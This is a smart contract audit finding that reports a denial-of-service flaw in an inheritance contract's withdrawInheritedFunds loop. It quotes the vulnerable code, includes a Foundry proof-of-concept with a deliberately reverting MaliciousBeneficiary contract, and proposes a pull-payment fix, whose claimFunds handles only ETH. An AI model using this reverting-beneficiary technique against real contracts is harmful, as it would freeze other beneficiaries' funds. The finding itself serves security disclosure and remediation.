Summary
The withdrawInheritedFunds function performs external calls (call and safeTransfer) in a for loop to send funds to each beneficiary. This can result in funds lockup or excessive gas usage if the beneficiary grows too large.
Vulnerability Details
The withdrawInheritedFunds function performs external calls (call and safeTransfer) in a for loop to send funds to each beneficiary. If any of these calls fails (If a beneficiary is a contract that contain receive or fallback function), the entire transaction reverts, preventing all other beneficiaries from receiving their funds
function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
(bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
require(success, "something went wrong");
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
IERC20(_asset).safeTransfer(beneficiaries[i], amountPerBeneficiary);
}
}
The following PoC add a contract that has a receive function that causes the revert to prove that the entire transaction revert, blocking payments to all other beneficiaries.
function test_DenialOfService_withdrawInheritedFunds() public {
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
vm.startPrank(owner);
MaliciousBeneficiary malicious = new MaliciousBeneficiary();
address maliciousAddr = address(malicious);
im.addBeneficiery(maliciousAddr);
im.addBeneficiery(user1);
im.addBeneficiery(user2);
im.addBeneficiery(user3);
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 9e18);
vm.warp(1 + 90 days);
vm.startPrank(user1);
im.inherit();
vm.expectRevert();
im.withdrawInheritedFunds(address(0));
vm.stopPrank();
assertEq(0, user1.balance);
assertEq(0, user2.balance);
assertEq(0, user3.balance);
assertEq(0, maliciousAddr.balance);
}
}
contract MaliciousBeneficiary {
receive() external payable {
require(false, "Reverting to cause DoS");
}
}
Impact
If a single beneficiary causes a failure, the entire withdrawal process is blocked such that no beneficiary can receive their funds.
Tools Used
Manual and confirmed by slither.
Recommendations
Use mapping to avoid using external call in for loop where each user claim their fund individually
mapping(address => uint256) public pendingWithdrawals;
function withdrawInheritedFunds(address _asset) external {
require(isInherited, "Not yet inherited");
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
pendingWithdrawals[beneficiaries[i]] += amountPerBeneficiary;
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
pendingWithdrawals[beneficiaries[i]] += amountPerBeneficiary;
}
}
}
function claimFunds() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Withdrawal failed");
}
